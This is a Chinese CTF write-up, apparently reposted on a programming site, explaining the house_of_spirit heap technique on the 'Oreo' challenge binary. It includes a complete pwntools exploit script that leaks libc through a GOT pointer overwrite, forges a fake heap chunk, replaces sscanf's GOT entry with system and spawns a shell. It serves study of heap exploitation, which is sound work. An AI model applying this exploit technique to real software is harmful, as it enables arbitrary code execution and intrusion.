内容简介:最近在学习堆相关利用方式,由于对堆的相关机制不清楚,导致进展很慢。这里贴出相关教程1.add()
最近在学习堆相关利用方式,由于对堆的相关机制不清楚,导致进展很慢。
关于house_of_spirit
这里贴出相关教程 https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_spirit.c , 其思想就是通过free一块不可控内存,在进行一次malloc,使其可控。
Oreo
1.add()
在add函数里面,我们可以找到这样一个结构体
size : 0x38 struct rifle { char des[0x19] char name[0x1b] char *preAddr }
读入name时,可以读入56个字节,可以溢出覆盖pre_addr指针,并且,每增加一个refle,dword_804a288都会加1。
2.show()
这个函数通过结构体最后的 pre_addr 遍历所有的chunk,并将其打印出来。
3.order() 该函数会将根据结构体的pre_addr free所有chunk 4.leave 。。。。。
向保存在0x0804a2a8处得指针,读取128字节的数据,该地址在函数的一开始便赋了初始值
在0x0804a2c0地址处
5 非关键函数,不做分析
通过2 show()函数,可以通过写入name,覆盖pre_addr指针,指向got表中任意函数地址-25处,从而得到libc基地址
#leak libc sscanf_got=elf.got['__isoc99_sscanf'] name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25) add(name_payload1, "hhh") show() p.recvuntil('=\nName: ') p.recvuntil('=\nName: ') sscanf=u32(p.recv(4)) log.info('sscanf address ===> '+hex(sscanf)) system=sscanf-libc.symbols['__isoc99_sscanf']+libc.symbols['system']
因为got表是可写的,想要实现往got表写数据,就必须控制0x0804a2a8地址处的指针,想要控制这个指针,就需要分配一个chunk到这个地方,因为0x0804a2a4这个地方地方的值会随着refle的增加而增加,因此,我们可以通过申请0x41个chunk的方式(为什么不增加其他个数的refle:这个地址我们把它当作fake chunk的size,按照house_of_spirit的思想,我们还得malloc这个chunk,每次malloc都是固定的0xx38,所以size为0x41),我们还需要将一个chunk的pre_addr修改为0x0804a2a8,这样,这个区域就可控了,就可以改写这段内存。
#!/usr/bin/env python # coding=utf-8 from pwn import * p=process('./oreo',stdin=PTY) elf=ELF('./oreo') libc=ELF('/lib/i386-linux-gnu/libc.so.6') context.log_level='debug' def add(name,des): p.readuntil("Action:") p.sendline("1") p.readuntil("name:") p.sendline(name) p.readuntil("description:") p.sendline(des) def show(): p.recv() p.sendline('2') def order(): p.recv() p.sendline('3') def leave(message): p.readuntil("Action:") p.sendline("4") p.readuntil("order: ") p.sendline(message) #leak libc sscanf_got=elf.got['__isoc99_sscanf'] name_payload1 = "aaa" + "bbbb"*6 + p32(sscanf_got-25) add(name_payload1, "hhh") show() p.recvuntil('=\nName: ') p.recvuntil('=\nName: ') sscanf=u32(p.recv(4)) log.info('sscanf address ===> '+hex(sscanf)) system=sscanf-libc.symbols['__isoc99_sscanf']+libc.symbols['system'] #fake chunk for i in xrange(0x40-1): add('aaaa','aaaa') payload = 'a'*0x1b+p32(0x0804a2a8) add(payload,'aaaa') message_payload = "\x00"*36 + p32(0x41) leave(message_payload) order() add('name',p32(sscanf_got)) leave(p32(system)) p.recv() p.sendline('/bin/sh\0') p.interactive()
一开始我并没有写下面这一段
message_payload = "\x00"*36 + p32(0x41) leave(message_payload)
出现了报错如下
"Action: *** Error in `./oreo': free(): invalid next size (fast): 0x0804a2a8 ***\n"
然后在glibc中找到了这一段报错的代码
if (have_lock || ({ assert(locked == 0); __libc_lock_lock(av->mutex); locked = 1; chunksize_nomask(chunk_at_offset(p, size)) <= 2 * SIZE_SZ || chunksize(chunk_at_offset(p, size)) >= av->system_mem; })) { errstr = "free(): invalid next size (fast)"; goto errout; }
在进行free chunk的时候一般会检查next chunk的size,下一个chunk的大小不能小于两倍的SIZE_SZ,并且下一个chunk的大小不能大于system_mem, 一般为132k,否则出现这样的情况,就报错。(这只是检查之一,以后我们整理一下分配回收机制的各种检查)如果没有上面那一段脚本对fake next chunk size做调整,就会报错
以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网
猜你喜欢:- 一文读懂监督学习、无监督学习、半监督学习、强化学习这四种深度学习方式
- 学习:人工智能-机器学习-深度学习概念的区别
- 统计学习,机器学习与深度学习概念的关联与区别
- 混合学习环境下基于学习行为数据的学习预警系统设计与实现
- 学习如何学习
- 深度学习的学习历程
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
21天学通C语言
(美国)琼斯(Bradley L.Jones) (美国)埃特肯(Peter Aitken) / 信达工作室 / 人民邮电出版社 / 2012-8 / 69.00元
《21天学通C语言(第6版•修订版)》是初学者学习C语言的经典教程。本版按最新的标准(ISO∕IEC:9899-1999),以循序渐进的方式介绍了C语言编程方面知识,并提供了丰富的实例和大量的练习。通过学习实例,并将所学的知识用于完成练习,读者将逐步了解、熟悉并精通C语言。《21天学通C语言(第6版•修订版)》包括四周的课程。第一周的课程介绍了C语言程序的基本元素,包括变量、常量、语句、表达式、函......一起来看看 《21天学通C语言》 这本书的介绍吧!